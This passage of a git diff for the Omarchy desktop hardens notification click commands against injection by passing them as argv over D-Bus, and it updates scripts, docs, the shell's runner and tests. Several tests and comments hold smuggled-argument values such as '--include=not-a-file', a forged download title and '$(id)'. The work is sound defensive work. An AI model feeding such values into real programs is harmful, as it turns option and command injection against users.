diff --git a/bin/omarchy-capture-screenrecording b/bin/omarchy-capture-screenrecording index 7666e1e6..d57b26fe 100755 --- a/bin/omarchy-capture-screenrecording +++ b/bin/omarchy-capture-screenrecording @@ -228,7 +228,7 @@ stop_screenrecording() { omarchy-notification-send "Screen recording saved" "Open with Super + Alt + , (or click this)" \ -t 10000 --image "${preview:-$filename}" \ - --exec "$(printf 'mpv %q' "$filename")" + --exec mpv -- "$filename" # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load -- not the diff --git a/bin/omarchy-capture-screenshot b/bin/omarchy-capture-screenshot index 8b2ac7d0..6f7b91bf 100755 --- a/bin/omarchy-capture-screenshot +++ b/bin/omarchy-capture-screenshot @@ -70,7 +70,7 @@ case "$PROCESSING" in # notification outage must not report the capture itself as failed. omarchy-notification-send "Screenshot saved to clipboard and file" "Edit with Super + Alt + , (or click this)" \ --image "$FILEPATH" \ - --exec "$(printf '%q %q' "$SCREENSHOT_EDITOR" "$FILEPATH")" || true + --exec "$SCREENSHOT_EDITOR" "$FILEPATH" || true ;; copy) grim -g "$SELECTION" - | wl-copy --type image/png diff --git a/bin/omarchy-chromium-ytdlp-host b/bin/omarchy-chromium-ytdlp-host index ce50635a..3911451a 100755 --- a/bin/omarchy-chromium-ytdlp-host +++ b/bin/omarchy-chromium-ytdlp-host @@ -27,7 +27,7 @@ valid_url() { # A printed path is only usable if it is a regular file inside DOWNLOAD_DIR. # Forged records (leading-dash mpv options, paths with control chars, or -# anything that escaped the download directory) must not reach --exec. +# anything that escaped the download directory) must not reach the click command. resolve_download_file() { local candidate=$1 file_real dir_real @@ -70,11 +70,6 @@ title_from_file() { fi } -# `--` keeps a path that starts with `-` from being parsed as an mpv option. -playback_command() { - printf 'mpv -- %q' "$1" -} - # Drive the Quickshell OSD — a single overlay that updates in place (like the # volume/brightness bar), so download progress never stacks like notifications. osd_progress() { @@ -151,9 +146,11 @@ download_url() { # Best-effort: the download already succeeded, and under `set -e` a failed # toast would exit before the thumbnail cleanup below is ever scheduled. + # `--` keeps mpv from parsing a leading-dash filename as an option; the path + # is one discrete argument, so it never reaches a shell. omarchy-notification-send -g 󰄬 "Download complete" "$title" \ -t 10000 --image "${preview:-$filepath}" \ - --exec "$(playback_command "$filepath")" || true + --exec mpv -- "$filepath" || true # The shell loads the thumbnail into memory when the toast appears and never # re-reads the file, so the preview only has to outlive that load, not the diff --git a/bin/omarchy-crash-watch b/bin/omarchy-crash-watch index f58247a0..ee1ed82d 100755 --- a/bin/omarchy-crash-watch +++ b/bin/omarchy-crash-watch @@ -24,9 +24,7 @@ readonly ignore_pattern=${OMARCHY_CRASH_IGNORE:-} declare -A last_notified announce() { - local comm=$1 pid=$2 exe=$3 signal=$4 exec_command - - exec_command=$(printf 'omarchy-agent-crash %q %q %q %q' "$pid" "$comm" "$exe" "$signal") + local comm=$1 pid=$2 exe=$3 signal=$4 # The shell owns org.freedesktop.Notifications, so a shell crash takes the # notification server down with it and a toast sent into that gap is lost. @@ -35,14 +33,16 @@ announce() { omarchy-notification-wait || return 1 # --exec rather than a libnotify action: the shell runs clicks from its own - # omarchy-exec hint and never emits ActionInvoked. Keeps the default - # "omarchy-action" app name too, the only one shouldBypassDnd() lets through. + # hint and never emits ActionInvoked. Keeps the default "omarchy-action" app + # name, the only one shouldBypassDnd() lets through. Crash details ride as + # discrete argv words, so a hostile process name can't be reparsed as a + # command. --exec consumes the rest of the line, so it comes last. omarchy-notification-send \ --urgency critical \ --glyph "$CRASH_GLYPH" \ - --exec "$exec_command" \ "Process crashed: $comm" \ - "Click to diagnose with AI" + "Click to diagnose with AI" \ + --exec omarchy-agent-crash "$pid" "$comm" "$exe" "$signal" } # -n 0 so a restart does not re-announce crashes already dealt with. diff --git a/bin/omarchy-migrate-notify b/bin/omarchy-migrate-notify index 0ee2e0b0..00cce3d6 100755 --- a/bin/omarchy-migrate-notify +++ b/bin/omarchy-migrate-notify @@ -41,7 +41,7 @@ fi # The shell keeps the click command with the toast, so this oneshot can hand the # invitation over and exit instead of staying activated until it is answered. omarchy-notification-send -u critical -g  "Pending Omarchy Migrations" "$message" \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-migrate" && exit 0 + --exec omarchy-launch-floating-terminal-with-presentation omarchy-migrate && exit 0 # Reached when the notification could not be handed off, so fall back to telling # the user in the terminal. diff --git a/bin/omarchy-notification-send b/bin/omarchy-notification-send index 8a5851b8..9e7fd049 100755 --- a/bin/omarchy-notification-send +++ b/bin/omarchy-notification-send @@ -1,7 +1,7 @@ #!/bin/bash # omarchy:summary=Send an Omarchy desktop notification -# omarchy:args=[--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options] +# omarchy:args=[--app-name ] [-g ] [-u ] [-i ] [-t ] [-r ] [-p] [--image ] [description] [--exec [args...]] # omarchy:examples=omarchy notification send "Reminder" "5 minutes are up" -g 󰢌 set -euo pipefail @@ -11,61 +11,75 @@ description="" glyph= urgency="low" app_name="omarchy-action" +app_icon="" image= -exec_command= -args=() +expire_timeout=-1 +replaces_id=0 +print_id=0 +exec_args=() +exec_present=0 parsed_option_args=0 +usage() { + echo "Usage: omarchy-notification-send [--app-name ] [-g ] [-u ] [-i ] [-t ] [-r ] [-p] [--image ] [description] [--exec [args...]]" >&2 +} + +# Recognize a known option, in both `--flag value` and `--flag=value` forms. +# Returns 1 for anything unrecognized so the caller can decide (headline, or a +# hard error in option position). parse_omarchy_option() { - case $1 in - -g | --glyph) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - glyph=$2 - parsed_option_args=2 + local opt val nargs + if [[ $1 == --?*=* ]]; then + opt=${1%%=*} + val=${1#*=} + nargs=1 + else + opt=$1 + val=${2-} + nargs=2 + fi + + # -p/--print-id is a flag; it takes no value. + if [[ $opt == -p || $opt == --print-id ]]; then + print_id=1 + parsed_option_args=1 return 0 + fi + + case $opt in + -g | --glyph | -u | --urgency | --app-name | -i | --icon | --image | -r | --replace-id | -t | --expire-time) ;; + *) return 1 ;; + esac + + if ((nargs == 2)) && (($# < 2)); then + echo "Missing value for $opt" >&2 + exit 1 + fi + + case $opt in + -g | --glyph) glyph=$val ;; + -u | --urgency) urgency=$val ;; + --app-name) app_name=$val ;; + -i | --icon) app_icon=$val ;; + --image) image=$val ;; + -r | --replace-id) + [[ $val =~ ^[0-9]+$ ]] || { + echo "Invalid $opt value (numeric id expected): $val" >&2 + exit 1 + } + replaces_id=$val ;; - -u | --urgency) - if (($# < 2)); then - echo "Missing value for $1" >&2 + -t | --expire-time) + [[ $val =~ ^-?[0-9]+$ ]] || { + echo "Invalid $opt value (milliseconds expected): $val" >&2 exit 1 - fi - urgency="$2" - parsed_option_args=2 - return 0 - ;; - --app-name) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - app_name=$2 - parsed_option_args=2 - return 0 - ;; - --image) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - image=$2 - parsed_option_args=2 - return 0 - ;; - --exec) - if (($# < 2)); then - echo "Missing value for $1" >&2 - exit 1 - fi - exec_command=$2 - parsed_option_args=2 - return 0 + } + expire_timeout=$val ;; esac - return 1 + parsed_option_args=$nargs + return 0 } while (($# > 0)); do @@ -77,47 +91,121 @@ while (($# > 0)); do done if (($# < 1)); then - echo "Usage: omarchy-notification-send [--exec ] [--app-name ] [-g ] [-u ] [--image ] [description] [notify-send options]" + usage exit 1 fi headline=$1 shift -if (($# > 0)) && [[ $1 != -* ]]; then +# The description is the next positional, taken as text even when it begins with +# a dash — a body like "-50% off" or a negative number is content, not options. +# Only a recognized option flag or --exec in that slot is not the description. +known_flag() { + case $1 in + -g | --glyph | -u | --urgency | --app-name | -i | --icon | -t | --expire-time | --image | -r | --replace-id | -p | --print-id | --exec) return 0 ;; + --glyph=* | --urgency=* | --app-name=* | --icon=* | --expire-time=* | --image=* | --replace-id=*) return 0 ;; + esac + return 1 +} + +if (($# > 0)) && ! known_flag "$1"; then description=$1 shift fi while (($# > 0)); do - if parse_omarchy_option "$@"; then + if [[ $1 == "--exec" ]]; then + # --exec consumes the rest of the line as the click command's argv. The + # caller's shell already tokenized those words into discrete arguments, and + # the shell runs them as-is (never re-parsed), so untrusted data in an + # argument is only ever one argument and can never become a command. + # Detected only here, after the headline/description positionals are + # captured, so an untrusted headline that is literally "--exec" is taken as + # text and can't be mistaken for the delimiter. --exec therefore comes last. + shift + exec_args=("$@") + exec_present=1 + break + elif parse_omarchy_option "$@"; then shift "$parsed_option_args" else - args+=("$1") - shift + echo "Unknown option: $1" >&2 + usage + exit 1 fi done -# Tag as a user-action toast so it pops through DND. -args+=("-a" "$app_name" "-u" "$urgency") +case $urgency in +low) urgency_byte=0 ;; +normal) urgency_byte=1 ;; +critical) urgency_byte=2 ;; +*) + echo "Unknown urgency: $urgency (use low, normal, or critical)" >&2 + exit 1 + ;; +esac + +# a{sv} hints, as busctl triples (key, variant type, value). urgency is a byte; +# the rest are strings. The click command rides here as omarchy-exec-argv, built +# only from --exec below. +hints=(urgency y "$urgency_byte") if [[ -n $glyph ]]; then - args+=("--hint=string:omarchy-glyph:$glyph") + hints+=(omarchy-glyph s "$glyph") fi if [[ -n $image ]]; then - args+=("--hint=string:image-path:$image") + hints+=(image-path s "$image") fi -# The shell runs the click command itself, from a copy it keeps alongside the -# on-screen popup. A libnotify action would instead keep this process blocked -# until the click, and die unanswered whenever the shell restarts underneath it. -if [[ -n $exec_command ]]; then - args+=("--hint=string:omarchy-exec:$exec_command") +if ((exec_present)); then + if ((${#exec_args[@]} == 0)) || [[ -z ${exec_args[0]} ]]; then + echo "--exec needs a command: --exec [args...]" >&2 + exit 1 + fi + # A single word with a space is almost always a whole command passed as one + # quoted string — which would run a program literally named that. Splitting it + # ourselves is exactly the injection we avoid, so reject it and point at the + # unquoted form instead. + if ((${#exec_args[@]} == 1)) && [[ ${exec_args[0]} == *[[:space:]]* ]]; then + echo "--exec takes the command as separate words, not one quoted string." >&2 + echo "Write: --exec ${exec_args[0]}" >&2 + exit 1 + fi + # NUL-delimit into jq so every byte survives as data: jq's own --args would eat + # a bare "--", and a newline in an arg must not split the vector. + exec_argv_json=$(printf '%s\0' "${exec_args[@]}" | jq -Rsc 'split("\u0000")[:-1]') + hints+=(omarchy-exec-argv s "$exec_argv_json") fi -if [[ -n $description ]]; then - notify-send "${args[@]}" "$headline" "$description" +hint_count=$((${#hints[@]} / 3)) + +# Call org.freedesktop.Notifications.Notify directly — never notify-send. Its +# argv parsing is the surface that reinterprets a relayed headline like +# `--hint=…` or `-rf` as options or hints; busctl takes each value as one typed +# D-Bus parameter instead, and the leading `--` keeps a dash-leading value +# (headline, description, a negative timeout) positional rather than a busctl +# option. So the summary and body are strings that can never become a hint, and +# omarchy-exec-argv is set only from --exec. +# +# Signature susssasa{sv}i: app_name, replaces_id, app_icon, summary, body, +# actions (empty), hints, expire_timeout. replaces_id (from -r) updates a toast +# in place; -p prints the returned id so a caller can reuse it. +notify_cmd=( + busctl --user -- call + org.freedesktop.Notifications /org/freedesktop/Notifications + org.freedesktop.Notifications Notify susssasa{sv}i + "$app_name" "$replaces_id" "$app_icon" "$headline" "$description" + 0 + "$hint_count" "${hints[@]}" + "$expire_timeout" +) + +if ((print_id)); then + # busctl prints the UINT32 return as "u "; emit just the id. + out=$("${notify_cmd[@]}") + printf '%s\n' "${out##* }" else - notify-send "${args[@]}" "$headline" + "${notify_cmd[@]}" >/dev/null fi diff --git a/bin/omarchy-tailscale-receive b/bin/omarchy-tailscale-receive index 9a92cad9..3f27641c 100755 --- a/bin/omarchy-tailscale-receive +++ b/bin/omarchy-tailscale-receive @@ -72,7 +72,7 @@ announce() { # Announcing is best-effort: the file is already delivered, and under `set -e` # a notification outage would otherwise kill the long-running receiver. - omarchy-notification-send "${args[@]}" --exec "$(printf 'xdg-open %q' "$path")" || true + omarchy-notification-send "${args[@]}" --exec xdg-open "$path" || true } deliver() { diff --git a/config/omarchy/hooks/font-set.d/show-font-notification.sample b/config/omarchy/hooks/font-set.d/show-font-notification.sample index a75f2fa8..c1f50ee5 100644 --- a/config/omarchy/hooks/font-set.d/show-font-notification.sample +++ b/config/omarchy/hooks/font-set.d/show-font-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show the name of the font that was just set. -# notify-send -u low "New font" "Your new font is $1" +# omarchy-notification-send -u low "New font" "Your new font is $1" diff --git a/config/omarchy/hooks/post-boot.d/weather.sample b/config/omarchy/hooks/post-boot.d/weather.sample index 60a1c88f..01857cb7 100644 --- a/config/omarchy/hooks/post-boot.d/weather.sample +++ b/config/omarchy/hooks/post-boot.d/weather.sample @@ -6,5 +6,5 @@ weather=$(omarchy-weather-status 2>/dev/null) || true if [[ -n $weather && $weather != "Weather unavailable" ]]; then - notify-send -u low "$weather" + omarchy-notification-send -u low "$weather" fi diff --git a/config/omarchy/hooks/post-update.d/show-update-notification.sample b/config/omarchy/hooks/post-update.d/show-update-notification.sample index f6ba07b0..929e1e2a 100644 --- a/config/omarchy/hooks/post-update.d/show-update-notification.sample +++ b/config/omarchy/hooks/post-update.d/show-update-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show notification after the system has been updated. -# notify-send -u low "Update Performed" "Your system is now up to date" +# omarchy-notification-send -u low "Update Performed" "Your system is now up to date" diff --git a/config/omarchy/hooks/theme-set.d/show-theme-notification.sample b/config/omarchy/hooks/theme-set.d/show-theme-notification.sample index db19b298..d224db7c 100644 --- a/config/omarchy/hooks/theme-set.d/show-theme-notification.sample +++ b/config/omarchy/hooks/theme-set.d/show-theme-notification.sample @@ -4,4 +4,4 @@ # To put it into use, remove .sample from this file name. # Example: Show the name of the theme that was just set. -# notify-send -u low "New theme" "Your new theme is $1" +# omarchy-notification-send -u low "New theme" "Your new theme is $1" diff --git a/default/hypr/helpers.lua b/default/hypr/helpers.lua index d1affbc7..b1eb48fa 100644 --- a/default/hypr/helpers.lua +++ b/default/hypr/helpers.lua @@ -136,7 +136,7 @@ function o.bind_toggle(keys, description, toggle, options) end function o.notify(message) - return "notify-send -u low " .. shell_quote(message) + return "omarchy-notification-send -u low " .. shell_quote(message) end function o.window(match, rules) diff --git a/docs/notifications.md b/docs/notifications.md index c2eba6d9..7651fd71 100644 --- a/docs/notifications.md +++ b/docs/notifications.md @@ -63,24 +63,33 @@ Ephemeral ones (the freedesktop `transient` hint, or an `app_name` of ## The sender contract `bin/omarchy-notification-send` is the one way Omarchy code sends -notifications — never raw `notify-send`. It translates its flags into -notify-send arguments and passes any unrecognized options through: +notifications — never raw `notify-send`. It calls +`org.freedesktop.Notifications.Notify` directly over the session bus (via +`busctl --user`), so each value is one typed D-Bus parameter and there is no +argv layer that could reinterpret a relayed headline as an option or a hint. Its +flags map onto that call: | Flag | Becomes | Meaning | |---|---|---| -| `-g` / `--glyph` | `--hint=string:omarchy-glyph:` | Nerd Font glyph for the icon slot when no image icon resolves | -| `--exec` | `--hint=string:omarchy-exec:` | shell command the card runs when clicked | -| `--image` | `--hint=string:image-path:` | the standard freedesktop image hint | -| `--app-name` | `-a` | defaults to `omarchy-action` | -| `-u` / `--urgency` | `-u` | defaults to `low` | +| `-g` / `--glyph` | hint `omarchy-glyph` | Nerd Font glyph for the icon slot when no image icon resolves | +| `--exec [args…]` | hint `omarchy-exec-argv` | the click command; consumes the rest of the line, so it comes last. Each word is a discrete argument the shell runs without re-parsing (see below) | +| `--image` | hint `image-path` | the standard freedesktop image hint | +| `-i` / `--icon` | `app_icon` | themed icon name for the toast | +| `--app-name` | `app_name` | defaults to `omarchy-action` | +| `-u` / `--urgency` | hint `urgency` (byte) | `low`/`normal`/`critical`; defaults to `low` | +| `-t` / `--expire-time` | `expire_timeout` | milliseconds on screen; server default otherwise | + +Unknown flags are a hard error, not a silent pass-through: `--exec` is the only +door to a click command, and there is no generic option pass-through to smuggle +one through. The defaults are the point: an unadorned `omarchy-notification-send "Done"` is a low-urgency user-action toast that pops through DND and is treated as ephemeral noise when silenced. -`--exec` is deliberately not a libnotify action. An action keeps the sender -blocked waiting for `ActionInvoked`, and dies unanswered whenever the shell -restarts underneath it — the installer toasts restart the shell as their +The click command is deliberately not a libnotify action. An action keeps the +sender blocked waiting for `ActionInvoked`, and dies unanswered whenever the +shell restarts underneath it — the installer toasts restart the shell as their first act. Carrying the command as a hint means the shell executes the click itself (detached, so the command outlives the shell process) from the copy it keeps with the popup, which the persistence files preserve: a restored toast @@ -90,6 +99,52 @@ immediately. For third-party clients the click falls back to the libnotify window by class via `omarchy-hyprland-focus-app` — chat apps rarely register an action and just expect click-to-jump. +### Click commands are argv, never shell strings + +`--exec` consumes the rest of the line as the click command: + +```bash +omarchy-notification-send "Download complete" "$title" --exec mpv -- "$file" +``` + +The caller's shell has already split those words into discrete arguments, and a +quoted argument (`"$file"`) stays one argument even with spaces. On the shell +side they are run through `Util.execArgv`, which invokes `bash -lc 'exec "$@"'` +with the arguments as **positional parameters** — never interpolated into the +script text. bash expands `"$@"` without re-tokenizing or re-evaluating it, so a +value carrying data an attacker controls — a downloaded video's title, a +received filename, a crashed process's name — is only ever a single argument and +can never be reparsed as a command. The login shell keeps the PATH and session +environment that GUI click targets (the screenshot editor, mpv, xdg-open) expect. + +The critical rule: **the splitting must happen at the call site, not inside the +tool.** Passing a single quoted string (`--exec "mpv $title"`) and letting the +tool whitespace-split it would hand argument boundaries to whoever controls the +string's content — a title with a space could inject an extra option or program. +So `--exec` refuses a lone quoted-string argument and points at the unquoted +form. There is no "take a command string and sanitize it" path; that is the +escaping trap (string-concatenated SQL) the yt-dlp title RCE exploited. + +The shell fails closed on a malformed argv hint (it must be a JSON array of +strings whose program is present and not a leading-dash option) rather than +running anything it can't validate. A caller can still deliberately name a shell +as the program (`--exec sh -c …`), but that runs code because the *developer* +wrote it, not because attacker data became a command — a reviewable red flag +(greppable as `--exec sh`/`--exec bash`), not an injection. Insulating against a +native same-user process is out of scope: it already runs with your privileges +and needs no notification to execute code. What is fully closed is untrusted +*content* — web notifications can't set the exec hint at all, and any relayed +title/filename is confined to inert argument data. + +The sender keeps that last part true structurally rather than leaving it to each +caller. Because it calls `Notify` directly, the headline and description are +typed string parameters — a relayed value like `--hint=…` or `-rf` is the +summary or body, never an option or a hint, and there is no argv/option layer +(no `notify-send`) left to reinterpret it. `--exec` is the only thing that can +build the `omarchy-exec-argv` hint. (The leading `--` on the `busctl` call is a +belt for `busctl`'s own getopt, which would otherwise read a dash-leading value +as a `busctl` option; the summary/body themselves are never parsed as options.) + ## Helper commands - `omarchy-notification-wait [timeout]` — polls until the shell answers IPC @@ -114,7 +169,8 @@ Everything goes through the same sender contract, so the pieces are small: `battery-low` hook. - **Crash capture** — `omarchy-crash-watch` follows the systemd-coredump journal stream and announces each crashed program (deduped per minute) as a - critical toast whose `--exec` runs `omarchy-agent-crash`. It waits for the + critical toast whose click runs `omarchy-agent-crash` (via `--exec`, so a + hostile process name stays a discrete argument). It waits for the server first: a shell crash takes the notification server down with it, and that crash is the one most worth reporting. - **Pending migrations** — `omarchy-migrate-notify` (from its user service diff --git a/install/user/first-run/install-voxtype.hook b/install/user/first-run/install-voxtype.hook index eb180f81..1d07daa6 100644 --- a/install/user/first-run/install-voxtype.hook +++ b/install/user/first-run/install-voxtype.hook @@ -5,5 +5,5 @@ set -e if omarchy-done ensure voxtype-install-invitation; then omarchy-notification-send -u critical -g  "Install Dictation with Voxtype" \ "Click to install voice dictation for Omarchy." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install" + --exec omarchy-launch-floating-terminal-with-presentation omarchy-voxtype-install fi diff --git a/install/user/first-run/setup-agent.hook b/install/user/first-run/setup-agent.hook index d69c710c..90596b83 100644 --- a/install/user/first-run/setup-agent.hook +++ b/install/user/first-run/setup-agent.hook @@ -7,5 +7,5 @@ set -e if [[ -z $(omarchy-default-agent) ]] && omarchy-done ensure agent-setup-invitation; then omarchy-notification-send -u critical -g 󰚩 "Set your default agent" \ "Let your favorite agent help with Omarchy." \ - --exec "omarchy menu summon setup.default.agent" + --exec omarchy menu summon setup.default.agent fi diff --git a/install/user/first-run/setup-fingerprint.hook b/install/user/first-run/setup-fingerprint.hook index 1ff17b5d..2861eef0 100644 --- a/install/user/first-run/setup-fingerprint.hook +++ b/install/user/first-run/setup-fingerprint.hook @@ -8,5 +8,5 @@ if omarchy-hw-fingerprint && [[ ! -f /etc/pam.d/omarchy-lock-fingerprint ]] && omarchy-done ensure fingerprint-setup-invitation; then omarchy-notification-send -u critical -g 󰈷 "Setup Fingerprint Reader" \ "Enable sudo and unlocking with your fingerprint." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint" + --exec omarchy-launch-floating-terminal-with-presentation omarchy-setup-security-fingerprint fi diff --git a/install/user/first-run/wifi.sh b/install/user/first-run/wifi.sh index c6d203dd..3b2af23a 100644 --- a/install/user/first-run/wifi.sh +++ b/install/user/first-run/wifi.sh @@ -1,11 +1,11 @@ notify_update() { omarchy-notification-send -u critical -g  "Update System" "Click to update the system." \ - --exec "omarchy-launch-floating-terminal-with-presentation omarchy-update" + --exec omarchy-launch-floating-terminal-with-presentation omarchy-update } notify_wifi() { omarchy-notification-send -u critical -g 󰖩 "Setup Wi-Fi" "Click to configure the wireless network." \ - --exec "omarchy-shell shell toggle omarchy.network" + --exec omarchy-shell shell toggle omarchy.network } announce_network() { diff --git a/shell/Commons/Util.qml b/shell/Commons/Util.qml index 3d5a1f8e..ca265acd 100644 --- a/shell/Commons/Util.qml +++ b/shell/Commons/Util.qml @@ -54,6 +54,15 @@ QtObject { Quickshell.execDetached(["bash", "-lc", command]) } + // Run an argv vector without a shell interpreting it: the constant `exec "$@"` + // means the args only ever land in positional parameters, which bash expands + // without re-tokenizing — so untrusted data ($(id), a filename) stays literal. + // The login shell (-l) keeps the PATH/session env GUI targets (tensaku, mpv, + // xdg-open) need. Prefer this over execDetached for anything built from input. + function execArgv(argv) { + Quickshell.execDetached(["bash", "-lc", 'exec "$@"', "bash"].concat(argv)) + } + function isPlainObject(value) { return value !== null && typeof value === "object" && !Array.isArray(value) } diff --git a/shell/plugins/notifications/NotificationLogic.js b/shell/plugins/notifications/NotificationLogic.js index 1d2ebd43..9bad602d 100644 --- a/shell/plugins/notifications/NotificationLogic.js +++ b/shell/plugins/notifications/NotificationLogic.js @@ -57,14 +57,39 @@ function glyphFromHints(hints) { return stringHint(hints, "omarchy-glyph") } -// Shell command to run when the card is clicked, sent by -// omarchy-notification-send --exec. Carrying the action as data means it -// travels with the popup through the persistence files, so a toast restored -// after a shell restart clicks through exactly like a live one. A libnotify -// action can't: its sender is still waiting on an id from a server generation -// that no longer exists. -function execFromHints(hints) { - return stringHint(hints, "omarchy-exec") +// The click action: a JSON argv string from omarchy-notification-send +// --exec. Carried as data so a toast restored after a shell restart stays +// clickable (a libnotify action can't — its sender is gone). Run via +// Util.execArgv as bash positional parameters, never a shell string, so +// attacker-controlled values (a title, a filename) can't become commands. +function execArgvFromHints(hints) { + return stringHint(hints, "omarchy-exec-argv") +} + +// Validate a persisted omarchy-exec-argv into a runnable argv, or null. This is +// a STRUCTURAL check only: it fails closed on a malformed hint (non-array, a +// non-string or empty program, or a leading-dash program that argv would read as +// an option). It does not judge intent — a well-formed ["bash","-c",…] is +// accepted. WHICH senders may set this hint is a separate boundary: any +// session-bus process can, by the freedesktop protocol's design (see +// docs/notifications.md), which is equivalent to same-uid code execution. +function parseExecArgv(value) { + var text = String(value || "") + if (!text) return null + + var parsed + try { + parsed = JSON.parse(text) + } catch (e) { + return null + } + + if (!Array.isArray(parsed) || parsed.length === 0) return null + for (var i = 0; i < parsed.length; i++) { + if (typeof parsed[i] !== "string") return null + } + if (!parsed[0] || parsed[0].charAt(0) === "-") return null + return parsed } function shouldRenderCompactGlyph(glyph, iconSource, singleLineToast) { @@ -85,7 +110,7 @@ function snapshotOf(notification, timestamp) { body: n.body || "", image: n.image || "", glyph: glyphFromHints(n.hints), - exec: execFromHints(n.hints), + execArgv: execArgvFromHints(n.hints), urgency: n.urgency, expireTimeout: expireTimeout, timestamp: timestamp === undefined ? Date.now() : timestamp @@ -94,7 +119,7 @@ function snapshotOf(notification, timestamp) { // Everything the popup card draws, and therefore everything an in-place // update has to write through to the row and its file. -var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "exec", "urgency", "expireTimeout"] +var POPUP_ROLES = ["app", "appIcon", "summary", "body", "image", "glyph", "execArgv", "urgency", "expireTimeout"] function popupRoles() { return POPUP_ROLES @@ -136,7 +161,7 @@ function historyEntry(value, normalUrgency) { body: e.body || "", image: e.image || "", glyph: e.glyph || "", - exec: e.exec || "", + execArgv: e.execArgv || "", urgency: typeof e.urgency === "number" ? e.urgency : normalUrgency, expireTimeout: 0, timestamp: e.timestamp || 0 @@ -346,7 +371,8 @@ if (typeof module !== "undefined") { isEphemeralApp: isEphemeralApp, stringHint: stringHint, glyphFromHints: glyphFromHints, - execFromHints: execFromHints, + execArgvFromHints: execArgvFromHints, + parseExecArgv: parseExecArgv, shouldRenderCompactGlyph: shouldRenderCompactGlyph, snapshotOf: snapshotOf, popupRoles: popupRoles, diff --git a/shell/plugins/notifications/Service.qml b/shell/plugins/notifications/Service.qml index 88ad0544..0122310e 100644 --- a/shell/plugins/notifications/Service.qml +++ b/shell/plugins/notifications/Service.qml @@ -353,18 +353,19 @@ Item { } // Run the popup's click action, then dismiss. Omarchy's own toasts carry the - // action as a command in the `exec` role (see execFromHints), which the - // persistence files preserve, so restored toasts stay clickable. Third-party - // clients register a libnotify action under the canonical identifier - // "default" instead; that one only works while the sender is still live. + // action as an argv vector in the `execArgv` role (see execArgvFromHints), + // which the persistence files preserve, so restored toasts stay clickable. + // Third-party clients register a libnotify action under the canonical + // identifier "default" instead; that one only works while the sender is live. function invokePopupDefault(index) { if (index < 0 || index >= popupModel.count) return var entry = popupModel.get(index) - var command = entry ? String(entry.exec || "") : "" - if (command) { - // Detached so the launched command outlives the shell process, which the - // installer toasts depend on: they restart the shell as their first act. - Util.execDetached(command) + + // Run the argv (via Util.execArgv, no shell interpretation). Detached so it + // outlives the shell, which installer toasts depend on: they restart it. + var argv = NotificationLogic.parseExecArgv(entry ? entry.execArgv : "") + if (argv) { + Util.execArgv(argv) dismissPopup(index) return } @@ -665,7 +666,7 @@ Item { body: row.body, image: row.image, glyph: row.glyph || "", - exec: row.exec || "", + execArgv: row.execArgv || "", urgency: row.urgency, timestamp: row.timestamp }, imagesDir).entry) @@ -689,7 +690,7 @@ Item { body: "", image: "", glyph: "󰂚", - exec: "", + execArgv: "", urgency: NotificationUrgency.Low, expireTimeout: 0, timestamp: Date.now() diff --git a/test/shell.d/agent-invitation-test.sh b/test/shell.d/agent-invitation-test.sh index 11de87d9..e54603fd 100644 --- a/test/shell.d/agent-invitation-test.sh +++ b/test/shell.d/agent-invitation-test.sh @@ -18,10 +18,12 @@ mkdir -p "$(dirname "$hook_path")" cat >"$test_bin/omarchy-notification-send" <<'EOF' #!/bin/bash echo notification >>"$TEST_LOG" +exec_args=() while (($# > 0)); do - [[ $1 == "--exec" ]] && echo "exec:$2" >>"$TEST_LOG" + if [[ $1 == "--exec" ]]; then shift; exec_args=("$@"); break; fi shift done +((${#exec_args[@]})) && echo "exec:${exec_args[*]}" >>"$TEST_LOG" EOF chmod +x "$test_bin/omarchy-notification-send" diff --git a/test/shell.d/bin-style-test.sh b/test/shell.d/bin-style-test.sh index e7824e9b..3f216734 100644 --- a/test/shell.d/bin-style-test.sh +++ b/test/shell.d/bin-style-test.sh @@ -9,7 +9,6 @@ raw_command_checks=$(rg -l 'command -v' "$ROOT/bin" \ [[ -z $raw_command_checks ]] || fail "bin commands use command helpers" "$raw_command_checks" pass "bin commands use command helpers" -raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" \ - | rg -v '/omarchy-notification-send$' || true) -[[ -z $raw_notifications ]] || fail "bin commands use the notification helper" "$raw_notifications" +raw_notifications=$(rg -l -P '^[[:space:]]*[^#[:space:]].*\bnotify-send\b' "$ROOT/bin" || true) +[[ -z $raw_notifications ]] || fail "bin commands use the notification helper, never notify-send" "$raw_notifications" pass "bin commands use the notification helper" diff --git a/test/shell.d/chromium-ytdlp-test.sh b/test/shell.d/chromium-ytdlp-test.sh index 4989df76..6cd571c4 100755 --- a/test/shell.d/chromium-ytdlp-test.sh +++ b/test/shell.d/chromium-ytdlp-test.sh @@ -120,26 +120,20 @@ forged_title=$(host_fn decode_title '"Clip\nOMARCHY_FILE\tPlay me\t--include=not pass "yt-dlp native host keeps only the readable part of a forged title" host_fn decode_title '"--include=not-a-file"' && - fail "yt-dlp native host refuses a title notify-send would read as an option" -pass "yt-dlp native host refuses a title notify-send would read as an option" + fail "yt-dlp native host refuses a leading-dash title the notifier would reject as an option" +pass "yt-dlp native host refuses a leading-dash title the notifier would reject as an option" host_fn decode_title 'null' && fail "yt-dlp native host refuses a title that is not a JSON string" pass "yt-dlp native host refuses a title that is not a JSON string" dash_title=$(host_fn title_from_file "$download_dir/--include.mp4") -[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to notify-send" "$dash_title" -pass "yt-dlp native host does not pass a leading-dash title to notify-send" +[[ $dash_title == "Video" ]] || fail "yt-dlp native host does not pass a leading-dash title to the notifier" "$dash_title" +pass "yt-dlp native host does not pass a leading-dash title to the notifier" -cmd=$(host_fn playback_command --include=not-a-file) -[[ $cmd == "mpv -- --include=not-a-file" ]] || - fail "yt-dlp native host runs mpv with -- before the path" "$cmd" -pass "yt-dlp native host runs 